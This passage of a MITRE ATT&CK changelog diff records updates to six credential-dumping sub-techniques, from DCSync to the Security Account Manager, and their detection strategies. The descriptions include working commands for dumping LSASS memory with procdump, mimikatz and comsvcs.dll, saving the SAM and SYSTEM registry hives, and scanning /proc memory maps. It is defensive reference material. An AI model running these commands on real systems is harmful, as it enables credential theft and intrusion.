"changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0513: Detection of Cached Domain Credential Dumping via Local Hash Cache Access" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--f303a39a-6255-4b89-aecc-18c4d8ca7163", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-02-11 18:45:34.293000+00:00", + "modified": "2025-10-24 17:49:36.308000+00:00", + "name": "DCSync", + "description": "Adversaries may attempt to access credentials and other sensitive information by abusing a Windows Domain Controller's application programming interface (API)(Citation: Microsoft DRSR Dec 2017) (Citation: Microsoft GetNCCChanges) (Citation: Samba DRSUAPI) (Citation: Wine API samlib.dll) to simulate the replication process from a remote domain controller using a technique called DCSync.\n\nMembers of the Administrators, Domain Admins, and Enterprise Admin groups or computer accounts on the domain controller are able to run DCSync to pull password data(Citation: ADSecurity Mimikatz DCSync) from Active Directory, which may include current and historical hashes of potentially useful accounts such as KRBTGT and Administrators. The hashes can then in turn be used to create a [Golden Ticket](https://attack.mitre.org/techniques/T1558/001) for use in [Pass the Ticket](https://attack.mitre.org/techniques/T1550/003)(Citation: Harmj0y Mimikatz and DCSync) or change an account's password as noted in [Account Manipulation](https://attack.mitre.org/techniques/T1098).(Citation: InsiderThreat ChangeNTLM July 2017)\n\nDCSync functionality has been included in the \"lsadump\" module in [Mimikatz](https://attack.mitre.org/software/S0002).(Citation: GitHub Mimikatz lsadump Module) Lsadump also includes NetSync, which performs DCSync over a legacy replication protocol.(Citation: Microsoft NRPC Dec 2017)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "credential-access" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1003/006", + "external_id": "T1003.006" + }, + { + "source_name": "GitHub Mimikatz lsadump Module", + "description": "Deply, B., Le Toux, V. (2016, June 5). module ~ lsadump. Retrieved August 7, 2017.", + "url": "https://github.com/gentilkiwi/mimikatz/wiki/module-~-lsadump" + }, + { + "source_name": "ADSecurity Mimikatz DCSync", + "description": "Metcalf, S. (2015, September 25). Mimikatz DCSync Usage, Exploitation, and Detection. Retrieved August 7, 2017.", + "url": "https://adsecurity.org/?p=1729" + }, + { + "source_name": "AdSecurity DCSync Sept 2015", + "description": "Metcalf, S. (2015, September 25). Mimikatz DCSync Usage, Exploitation, and Detection. Retrieved December 4, 2017.", + "url": "https://adsecurity.org/?p=1729" + }, + { + "source_name": "Microsoft DRSR Dec 2017", + "description": "Microsoft. (2017, December 1). MS-DRSR Directory Replication Service (DRS) Remote Protocol. Retrieved December 4, 2017.", + "url": "https://msdn.microsoft.com/library/cc228086.aspx" + }, + { + "source_name": "Microsoft NRPC Dec 2017", + "description": "Microsoft. (2017, December 1). MS-NRPC - Netlogon Remote Protocol. Retrieved December 6, 2017.", + "url": "https://msdn.microsoft.com/library/cc237008.aspx" + }, + { + "source_name": "Microsoft GetNCCChanges", + "description": "Microsoft. (n.d.). IDL_DRSGetNCChanges (Opnum 3). Retrieved December 4, 2017.", + "url": "https://msdn.microsoft.com/library/dd207691.aspx" + }, + { + "source_name": "Microsoft SAMR", + "description": "Microsoft. (n.d.). MS-SAMR Security Account Manager (SAM) Remote Protocol (Client-to-Server) - Transport. Retrieved December 4, 2017.", + "url": "https://msdn.microsoft.com/library/cc245496.aspx" + }, + { + "source_name": "Samba DRSUAPI", + "description": "SambaWiki. (n.d.). DRSUAPI. Retrieved December 4, 2017.", + "url": "https://wiki.samba.org/index.php/DRSUAPI" + }, + { + "source_name": "Harmj0y DCSync Sept 2015", + "description": "Schroeder, W. (2015, September 22). Mimikatz and DCSync and ExtraSids, Oh My. Retrieved December 4, 2017.", + "url": "http://www.harmj0y.net/blog/redteaming/mimikatz-and-dcsync-and-extrasids-oh-my/" + }, + { + "source_name": "Harmj0y Mimikatz and DCSync", + "description": "Schroeder, W. (2015, September 22). Mimikatz and DCSync and ExtraSids, Oh My. Retrieved September 23, 2024.", + "url": "https://blog.harmj0y.net/redteaming/mimikatz-and-dcsync-and-extrasids-oh-my/" + }, + { + "source_name": "InsiderThreat ChangeNTLM July 2017", + "description": "Warren, J. (2017, July 11). Manipulating User Passwords with Mimikatz. Retrieved December 4, 2017.", + "url": "https://blog.stealthbits.com/manipulating-user-passwords-with-mimikatz-SetNTLM-ChangeNTLM" + }, + { + "source_name": "Wine API samlib.dll", + "description": "Wine API. (n.d.). samlib.dll. Retrieved November 17, 2024.", + "url": "https://strontic.github.io/xcyclopedia/library/samlib.dll-0BDF6351009F6EBA5BA7E886F23263B1.html" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "ExtraHop", + "Vincent Le Toux" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.1", + "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Active Directory: Active Directory Object Access\", \"Network Traffic: Network Traffic Content\", \"Network Traffic: Network Traffic Flow\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:36.308000+00:00\", \"old_value\": \"2025-04-15 22:13:04.812000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Monitor domain controller logs for replication requests and other unscheduled activity possibly associated with DCSync.(Citation: Microsoft DRSR Dec 2017) (Citation: Microsoft GetNCCChanges) (Citation: Samba DRSUAPI) Also monitor for network protocols(Citation: Microsoft DRSR Dec 2017) (Citation: Microsoft NRPC Dec 2017) and other replication requests(Citation: Microsoft SAMR) from IPs not associated with known domain controllers.(Citation: AdSecurity DCSync Sept 2015)\\n\\nNote: Domain controllers may not log replication requests originating from the default domain controller account.(Citation: Harmj0y DCSync Sept 2015)\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-Monitor domain controller logs for replication requests and other unscheduled activity possibly associated with DCSync.(Citation: Microsoft DRSR Dec 2017) (Citation: Microsoft GetNCCChanges) (Citation: Samba DRSUAPI) Also monitor for network protocols(Citation: Microsoft DRSR Dec 2017) (Citation: Microsoft NRPC Dec 2017) and other replication requests(Citation: Microsoft SAMR) from IPs not associated with known domain controllers.(Citation: AdSecurity DCSync Sept 2015)\\n-\\n-Note: Domain controllers may not log replication requests originating from the default domain controller account.(Citation: Harmj0y DCSync Sept 2015)\"}}}", + "previous_version": "1.1", + "changelog_mitigations": { + "shared": [ + "M1015: Active Directory Configuration", + "M1026: Privileged Account Management", + "M1027: Password Policies" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0026: Active Directory (Active Directory Object Access)", + "DS0029: Network Traffic (Network Traffic Content)", + "DS0029: Network Traffic (Network Traffic Flow)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0594: Detection of Unauthorized DCSync Operations via Replication API Abuse" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--1ecfdab8-7d59-4c98-95d4-dc41970f57fc", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-02-21 16:22:09.493000+00:00", + "modified": "2025-10-24 17:48:29.945000+00:00", + "name": "LSA Secrets", + "description": "Adversaries with SYSTEM access to a host may attempt to access Local Security Authority (LSA) secrets, which can contain a variety of different credential materials, such as credentials for service accounts.(Citation: Passcape LSA Secrets)(Citation: Microsoft AD Admin Tier Model)(Citation: Tilbury Windows Credentials) LSA secrets are stored in the registry at HKEY_LOCAL_MACHINE\\SECURITY\\Policy\\Secrets. LSA secrets can also be dumped from memory.(Citation: ired Dumping LSA Secrets)\n\n[Reg](https://attack.mitre.org/software/S0075) can be used to extract from the Registry. [Mimikatz](https://attack.mitre.org/software/S0002) can be used to extract secrets from memory.(Citation: ired Dumping LSA Secrets)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "credential-access" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1003/004", + "external_id": "T1003.004" + }, + { + "source_name": "Tilbury Windows Credentials", + "description": "Chad Tilbury. (2017, August 8). 1Windows Credentials: Attack, Mitigation, Defense. Retrieved February 21, 2020.", + "url": "https://www.first.org/resources/papers/conf2017/Windows-Credentials-Attacks-and-Mitigation-Techniques.pdf" + }, + { + "source_name": "ired Dumping LSA Secrets", + "description": "Mantvydas Baranauskas. (2019, November 16). Dumping LSA Secrets. Retrieved February 21, 2020.", + "url": "https://ired.team/offensive-security/credential-access-and-credential-dumping/dumping-lsa-secrets" + }, + { + "source_name": "Microsoft AD Admin Tier Model", + "description": "Microsoft. (2019, February 14). Active Directory administrative tier model. Retrieved February 21, 2020.", + "url": "https://docs.microsoft.com/en-us/windows-server/identity/securing-privileged-access/securing-privileged-access-reference-material?redirectedfrom=MSDN" + }, + { + "source_name": "Passcape LSA Secrets", + "description": "Passcape. (n.d.). Windows LSA secrets. Retrieved February 21, 2020.", + "url": "https://www.passcape.com/index.php?section=docsys&cmd=details&id=23" + }, + { + "source_name": "Powersploit", + "description": "PowerSploit. (n.d.). Retrieved December 4, 2014.", + "url": "https://github.com/mattifestation/PowerSploit" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Ed Williams, Trustwave, SpiderLabs" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.1", + "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Windows Registry: Windows Registry Key Access\", \"Command: Command Execution\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:29.945000+00:00\", \"old_value\": \"2025-04-15 22:44:50.491000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Monitor processes and command-line arguments for program execution that may be indicative of credential dumping. Remote access tools may contain built-in features or incorporate existing tools like Mimikatz. PowerShell scripts also exist that contain credential dumping functionality, such as PowerSploit's Invoke-Mimikatz module,(Citation: Powersploit) which may require additional logging features to be configured in the operating system to collect necessary information for analysis.\"}}}", + "previous_version": "1.1", + "changelog_mitigations": { + "shared": [ + "M1017: User Training", + "M1026: Privileged Account Management", + "M1027: Password Policies" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0017: Command (Command Execution)", + "DS0024: Windows Registry (Windows Registry Key Access)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0437: Detection of LSA Secrets Dumping via Registry and Memory Extraction" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--65f2d882-3f41-4d48-8a06-29af77ec9f90", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-02-11 18:41:44.783000+00:00", + "modified": "2025-10-24 17:48:52.657000+00:00", + "name": "LSASS Memory", + "description": "Adversaries may attempt to access credential material stored in the process memory of the Local Security Authority Subsystem Service (LSASS). After a user logs on, the system generates and stores a variety of credential materials in LSASS process memory. These credential materials can be harvested by an administrative user or SYSTEM and used to conduct [Lateral Movement](https://attack.mitre.org/tactics/TA0008) using [Use Alternate Authentication Material](https://attack.mitre.org/techniques/T1550).\n\nAs well as in-memory techniques, the LSASS process memory can be dumped from the target host and analyzed on a local system.\n\nFor example, on the target host use procdump:\n\n* procdump -ma lsass.exe lsass_dump\n\nLocally, mimikatz can be run using:\n\n* sekurlsa::Minidump lsassdump.dmp\n* sekurlsa::logonPasswords\n\nBuilt-in Windows tools such as `comsvcs.dll` can also be used:\n\n* rundll32.exe C:\\Windows\\System32\\comsvcs.dll MiniDump PID lsass.dmp full(Citation: Volexity Exchange Marauder March 2021)(Citation: Symantec Attacks Against Government Sector)\n\nSimilar to [Image File Execution Options Injection](https://attack.mitre.org/techniques/T1546/012), the silent process exit mechanism can be abused to create a memory dump of `lsass.exe` through Windows Error Reporting (`WerFault.exe`).(Citation: Deep Instinct LSASS)\n\nWindows Security Support Provider (SSP) DLLs are loaded into LSASS process at system start. Once loaded into the LSA, SSP DLLs have access to encrypted and plaintext passwords that are stored in Windows, such as any logged-on user's Domain password or smart card PINs. The SSP configuration is stored in two Registry keys: HKLM\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\Security Packages and HKLM\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\OSConfig\\Security Packages. An adversary may modify these Registry keys to add new SSPs, which will be loaded the next time the system boots, or when the AddSecurityPackage Windows API function is called.(Citation: Graeber 2014)\n\nThe following SSPs can be used to access credentials:\n\n* Msv: Interactive logons, batch logons, and service logons are done through the MSV authentication package.\n* Wdigest: The Digest Authentication protocol is designed for use with Hypertext Transfer Protocol (HTTP) and Simple Authentication Security Layer (SASL) exchanges.(Citation: TechNet Blogs Credential Protection)\n* Kerberos: Preferred for mutual client-server domain authentication in Windows 2000 and later.\n* CredSSP: Provides SSO and Network Level Authentication for Remote Desktop Services.(Citation: TechNet Blogs Credential Protection)\n", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "credential-access" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1003/001", + "external_id": "T1003.001" + }, + { + "source_name": "Medium Detecting Attempts to Steal Passwords from Memory", + "description": "French, D. (2018, October 2). Detecting Attempts to Steal Passwords from Memory. Retrieved October 11, 2019.", + "url": "https://medium.com/threatpunter/detecting-attempts-to-steal-passwords-from-memory-558f16dce4ea" + }, + { + "source_name": "Deep Instinct LSASS", + "description": "Gilboa, A. (2021, February 16). LSASS Memory Dumps are Stealthier than Ever Before - Part 2. Retrieved December 27, 2023.", + "url": "https://www.deepinstinct.com/blog/lsass-memory-dumps-are-stealthier-than-ever-before-part-2" + }, + { + "source_name": "Graeber 2014", + "description": "Graeber, M. (2014, October). Analysis of Malicious Security Support Provider DLLs. Retrieved March 1, 2017.", + "url": "http://docplayer.net/20839173-Analysis-of-malicious-security-support-provider-dlls.html" + }, + { + "source_name": "Volexity Exchange Marauder March 2021", + "description": "Gruzweig, J. et al. (2021, March 2). Operation Exchange Marauder: Active Exploitation of Multiple Zero-Day Microsoft Exchange Vulnerabilities. Retrieved March 3, 2021.", + "url": "https://www.volexity.com/blog/2021/03/02/active-exploitation-of-microsoft-exchange-zero-day-vulnerabilities/" + }, + { + "source_name": "Powersploit", + "description": "PowerSploit. (n.d.). Retrieved December 4, 2014.", + "url": "https://github.com/mattifestation/PowerSploit" + }, + { + "source_name": "Symantec Attacks Against Government Sector", + "description": "Symantec. (2021, June 10). Attacks Against the Government Sector. Retrieved September 28, 2021.", + "url": "https://symantec.broadcom.com/hubfs/Attacks-Against-Government-Sector.pdf" + }, + { + "source_name": "TechNet Blogs Credential Protection", + "description": "Wilson, B. (2016, April 18). The Importance of KB2871997 and KB2928120 for Credential Protection. Retrieved April 11, 2018.", + "url": "https://blogs.technet.microsoft.com/askpfeplat/2016/04/18/the-importance-of-kb2871997-and-kb2928120-for-credential-protection/" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Edward Millington", + "Ed Williams, Trustwave, SpiderLabs", + "Olaf Hartong, Falcon Force", + "Michael Forret, Quorum Cyber" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.5", + "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Process: Process Access\", \"Windows Registry: Windows Registry Key Modification\", \"Process: Process Creation\", \"Process: OS API Execution\", \"Logon Session: Logon Session Creation\", \"Command: Command Execution\", \"File: File Creation\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:52.657000+00:00\", \"old_value\": \"2025-04-15 22:45:12.834000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Monitor for unexpected processes interacting with LSASS.exe.(Citation: Medium Detecting Attempts to Steal Passwords from Memory) Common credential dumpers such as Mimikatz access LSASS.exe by opening the process, locating the LSA secrets key, and decrypting the sections in memory where credential details are stored. Credential dumpers may also use methods for reflective [Process Injection](https://attack.mitre.org/techniques/T1055) to reduce potential indicators of malicious activity.\\n\\nOn Windows 8.1 and Windows Server 2012 R2, monitor Windows Logs for LSASS.exe creation to verify that LSASS started as a protected process.\\n\\nMonitor processes and command-line arguments for program execution that may be indicative of credential dumping. Remote access tools may contain built-in features or incorporate existing tools like Mimikatz. PowerShell scripts also exist that contain credential dumping functionality, such as PowerSploit's Invoke-Mimikatz module,(Citation: Powersploit) which may require additional logging features to be configured in the operating system to collect necessary information for analysis.\", \"diff\": \"--- \\n+++ \\n@@ -1,5 +0,0 @@\\n-Monitor for unexpected processes interacting with LSASS.exe.(Citation: Medium Detecting Attempts to Steal Passwords from Memory) Common credential dumpers such as Mimikatz access LSASS.exe by opening the process, locating the LSA secrets key, and decrypting the sections in memory where credential details are stored. Credential dumpers may also use methods for reflective [Process Injection](https://attack.mitre.org/techniques/T1055) to reduce potential indicators of malicious activity.\\n-\\n-On Windows 8.1 and Windows Server 2012 R2, monitor Windows Logs for LSASS.exe creation to verify that LSASS started as a protected process.\\n-\\n-Monitor processes and command-line arguments for program execution that may be indicative of credential dumping. Remote access tools may contain built-in features or incorporate existing tools like Mimikatz. PowerShell scripts also exist that contain credential dumping functionality, such as PowerSploit's Invoke-Mimikatz module,(Citation: Powersploit) which may require additional logging features to be configured in the operating system to collect necessary information for analysis.\"}}}", + "previous_version": "1.5", + "changelog_mitigations": { + "shared": [ + "M1017: User Training", + "M1025: Privileged Process Integrity", + "M1026: Privileged Account Management", + "M1027: Password Policies", + "M1028: Operating System Configuration", + "M1040: Behavior Prevention on Endpoint", + "M1043: Credential Access Protection" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0009: Process (OS API Execution)", + "DS0009: Process (Process Access)", + "DS0009: Process (Process Creation)", + "DS0017: Command (Command Execution)", + "DS0022: File (File Creation)", + "DS0024: Windows Registry (Windows Registry Key Modification)", + "DS0028: Logon Session (Logon Session Creation)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0363: Detection of Credential Dumping from LSASS Memory via Access and Dump Sequence" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--edf91964-b26e-4b4a-9600-ccacd7d7df24", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-02-11 18:42:35.572000+00:00", + "modified": "2025-10-24 17:49:34.852000+00:00", + "name": "NTDS", + "description": "Adversaries may attempt to access or create a copy of the Active Directory domain database in order to steal credential information, as well as obtain other information about domain members such as devices, users, and access rights. By default, the NTDS file (NTDS.dit) is located in %SystemRoot%\\NTDS\\Ntds.dit of a domain controller.(Citation: Wikipedia Active Directory)\n\nIn addition to looking for NTDS files on active Domain Controllers, adversaries may search for backups that contain the same or similar information.(Citation: Metcalf 2015)\n\nThe following tools and techniques can be used to enumerate the NTDS file and the contents of the entire Active Directory hashes.\n\n* Volume Shadow Copy\n* secretsdump.py\n* Using the in-built Windows tool, ntdsutil.exe\n* Invoke-NinjaCopy\n", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "credential-access" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1003/003", + "external_id": "T1003.003" + }, + { + "source_name": "Metcalf 2015", + "description": "Metcalf, S. (2015, January 19). Attackers Can Now Use Mimikatz to Implant Skeleton Key on Domain Controllers & BackDoor Your Active Directory Forest. Retrieved February 3, 2015.", + "url": "http://adsecurity.org/?p=1275" + }, + { + "source_name": "Wikipedia Active Directory", + "description": "Wikipedia. (2018, March 10). Active Directory. Retrieved April 11, 2018.", + "url": "https://en.wikipedia.org/wiki/Active_Directory" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Ed Williams, Trustwave, SpiderLabs" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.3", + "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Command: Command Execution\", \"File: File Access\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:34.852000+00:00\", \"old_value\": \"2025-04-15 19:59:19.862000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Monitor processes and command-line arguments for program execution that may be indicative of credential dumping, especially attempts to access or copy the NTDS.dit.\"}}}", + "previous_version": "1.3", + "changelog_mitigations": { + "shared": [ + "M1017: User Training", + "M1026: Privileged Account Management", + "M1027: Password Policies", + "M1041: Encrypt Sensitive Information" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0017: Command (Command Execution)", + "DS0022: File (File Access)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0586: Detection of NTDS.dit Credential Dumping from Domain Controllers" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--3120b9fa-23b8-4500-ae73-09494f607b7d", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-02-11 18:46:24.434000+00:00", + "modified": "2025-10-24 17:48:36.165000+00:00", + "name": "Proc Filesystem", + "description": "Adversaries may gather credentials from the proc filesystem or `/proc`. The proc filesystem is a pseudo-filesystem used as an interface to kernel data structures for Linux based systems managing virtual memory. For each process, the `/proc//maps` file shows how memory is mapped within the process\u2019s virtual address space. And `/proc//mem`, exposed for debugging purposes, provides access to the process\u2019s virtual address space.(Citation: Picus Labs Proc cump 2022)(Citation: baeldung Linux proc map 2022)\n\nWhen executing with root privileges, adversaries can search these memory locations for all processes on a system that contain patterns indicative of credentials. Adversaries may use regex patterns, such as grep -E \"^[0-9a-f-]* r\" /proc/\"$pid\"/maps | cut -d' ' -f 1, to look for fixed strings in memory structures or cached hashes.(Citation: atomic-red proc file system) When running without privileged access, processes can still view their own virtual memory locations. Some services or programs may save credentials in clear text inside the process\u2019s memory.(Citation: MimiPenguin GitHub May 2017)(Citation: Polop Linux PrivEsc Gitbook)\n\nIf running as or with the permissions of a web browser, a process can search the `/maps` & `/mem` locations for common website credential patterns (that can also be used to find adjacent memory within the same structure) in which hashes or cleartext credentials may be located.", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "credential-access" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1003/007", + "external_id": "T1003.007" + }, + { + "source_name": "atomic-red proc file system", + "description": "Atomic Red Team. (2023, November). T1003.007 - OS Credential Dumping: Proc Filesystem. Retrieved March 28, 2024.", + "url": "https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1003.007/T1003.007.md" + }, + { + "source_name": "baeldung Linux proc map 2022", + "description": "baeldung. (2022, April 8). Understanding the Linux /proc/id/maps File. Retrieved March 31, 2023.", + "url": "https://www.baeldung.com/linux/proc-id-maps" + }, + { + "source_name": "Polop Linux PrivEsc Gitbook", + "description": "Carlos Polop. (2023, March 5). Linux Privilege Escalation. Retrieved March 31, 2023.", + "url": "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#proc-usdpid-maps-and-proc-usdpid-mem" + }, + { + "source_name": "MimiPenguin GitHub May 2017", + "description": "Gregal, H. (2017, May 12). MimiPenguin. Retrieved December 5, 2017.", + "url": "https://github.com/huntergregal/mimipenguin" + }, + { + "source_name": "Picus Labs Proc cump 2022", + "description": "Huseyin Can YUCEEL & Picus Labs. (2022, March 22). Retrieved March 31, 2023.", + "url": "https://www.picussecurity.com/resource/the-mitre-attck-t1003-os-credential-dumping-technique-and-its-adversary-use" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Tim (Wadhwa-)Brown" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Linux" + ], + "x_mitre_version": "1.2", + "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Command: Command Execution\", \"File: File Access\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:36.165000+00:00\", \"old_value\": \"2025-04-15 22:57:59.661000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"To obtain the passwords and hashes stored in memory, processes must open a maps file in the `/proc` filesystem for the process being analyzed. This file is stored under the path `/proc/PID/maps`, where the `PID` directory is the unique pid of the program being interrogated for such authentication data. The AuditD monitoring tool, which ships stock in many Linux distributions, can be used to watch for hostile processes opening this file in the proc file system, alerting on the pid, process name, and arguments of such programs.\"}}}", + "previous_version": "1.2", + "changelog_mitigations": { + "shared": [ + "M1026: Privileged Account Management", + "M1027: Password Policies" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0017: Command (Command Execution)", + "DS0022: File (File Access)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0593: Detecting OS Credential Dumping via /proc Filesystem Access on Linux" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--1644e709-12d2-41e5-a60f-3470991f5011", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-02-11 18:42:07.281000+00:00", + "modified": "2025-10-24 17:48:26.545000+00:00", + "name": "Security Account Manager", + "description": "Adversaries may attempt to extract credential material from the Security Account Manager (SAM) database either through in-memory techniques or through the Windows Registry where the SAM database is stored. The SAM is a database file that contains local accounts for the host, typically those found with the net user command. Enumerating the SAM database requires SYSTEM level access.\n\nA number of tools can be used to retrieve the SAM file through in-memory techniques:\n\n* pwdumpx.exe\n* [gsecdump](https://attack.mitre.org/software/S0008)\n* [Mimikatz](https://attack.mitre.org/software/S0002)\n* secretsdump.py\n\nAlternatively, the SAM can be extracted from the Registry with Reg:\n\n* reg save HKLM\\sam sam\n* reg save HKLM\\system system\n\nCreddump7 can then be used to process the SAM database locally to retrieve hashes.(Citation: GitHub Creddump7)\n\nNotes: \n\n* RID 500 account is the local, built-in administrator.\n* RID 501 is the guest account.\n* User accounts start with a RID of 1,000+.\n", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "credential-access" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1003/002", + "external_id": "T1003.002" + }, + { + "source_name": "GitHub Creddump7", + "description": "Flathers, R. (2018, February 19). creddump7. Retrieved April 11, 2018.", + "url": "https://github.com/Neohapsis/creddump7" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Ed Williams, Trustwave, SpiderLabs", + "Olaf Hartong, Falcon Force" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.1", + "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Command: Command Execution\", \"File: File Access\", \"Windows Registry: Windows Registry Key Access\", \"File: File Creation\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:26.545000+00:00\", \"old_value\": \"2025-04-15 23:04:51.689000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Hash dumpers open the Security Accounts Manager (SAM) on the local file system (%SystemRoot%/system32/config/SAM) or create a dump of the Registry SAM key to access stored account password hashes. Some hash dumpers will open the local file system as a device and parse to the SAM table to avoid file access defenses. Others will make an 